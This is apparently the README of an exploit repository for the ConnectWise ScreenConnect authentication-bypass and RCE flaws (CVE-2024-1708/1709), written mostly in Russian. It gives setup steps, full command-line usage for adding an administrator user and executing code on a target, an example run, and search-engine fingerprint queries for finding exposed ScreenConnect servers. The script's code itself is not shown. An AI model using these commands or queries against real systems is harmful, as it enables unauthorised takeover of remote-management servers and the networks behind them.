w01fh4cker/screenconnect-authbypass-rceЭксплойт-скрипт для CVE-2024-1708 и CVE-2024-1709 в ConnectWise ScreenConnect, обеспечивающий обход аутентификации и удалённое выполнение кода с созданием пользователя и поддержкой прокси.
Я использую Python3.9
pip install requests
# python check.py
python batchAdduser.py
python ScreenConnect-AuthBypass-RCE.py -h
usage: ScreenConnect-AuthBypass-RCE.py [-h] [-u USERNAME] [-p PASSWORD] -t TARGET [-d DOMAIN] [--proxy PROXY]
CVE-2024-1708 && CVE-2024-1709 --> RCE!!!
optional arguments:
-h, --help show this help message and exit
-u USERNAME, --username USERNAME
username you want to add
-p PASSWORD, --password PASSWORD
password you want to add
-t TARGET, --target TARGET
target url
-d DOMAIN, --domain DOMAIN
Description of domain
--proxy PROXY eg: http://127.0.0.1:8080
Например:
python ScreenConnect-AuthBypass-RCE.py -t http://192.168.9.100
Если вы столкнулись со следующей ситуацией, это означает, что через этот скрипт нельзя выполнить RCE для данного сайта.
Конкретные причины можно найти здесь:
Если вы можете получить действующую подпись, пожалуйста, создайте issue, большое спасибо.
services.modules.http.headers.server:"screenconnect"
app:"ScreenConnect Remote Management Software"
services.http.response.headers:(key: `Server` and value.headers: `ScreenConnect`)
"Server: ScreenConnect"
product.name="ConnectWise ScreenConnect software"
app="ScreenConnect-Remote-Support-Software"
https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8
https://github.com/watchtowrlabs/connectwise-screenconnect_auth-bypass-add-user-poc